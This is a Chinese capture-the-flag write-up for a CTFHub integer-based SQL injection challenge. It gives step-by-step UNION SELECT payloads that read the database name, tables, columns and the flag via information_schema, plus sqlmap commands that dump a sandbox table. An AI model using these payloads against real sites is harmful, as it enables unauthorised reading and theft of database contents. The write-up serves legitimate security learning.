整数型注入

点击此处获得更好的阅读体验


文章来源

0yst3r的博客

题目考点

  • SQL整数型注入

解题思路

一些操作点

检查是否存在注入

1
2
and 1=1 #返回正确  
and 1=2 #返回错误

猜字段数(x为数字) 得出字段数

1
order by x

爆数据库名

1
?id=1 and 1=2 union select 1,database()

得到数据库名称sqli

爆表名

1
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

得到表名 news,flag

爆列名

1
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

得到字段名flag

获得flag

1
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

解法1-使用sqlmap

sqlmap工具方法:

1
2
# 列出表名
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 --tables

1
2
# 列出列名
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 -T flag --columns

1
2
# 查数据
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 -T flag -C flag --dump

解法2-手工注入

输入1 正常输出

输入-1 union select 1,database() 查询数据库名称

输入-1 union select 1,version() 查询数据库版本

输入-1 union select 1,group_concat(schema_name) from informations_schema.schemata

查询所有数据库名称

输入-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

查询当前数据的第一个表名,之后的limit 依次增加即可

或者也可以一次性查询

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

查询flag

-1 union select 1,group_concat(flag) from sqli.flag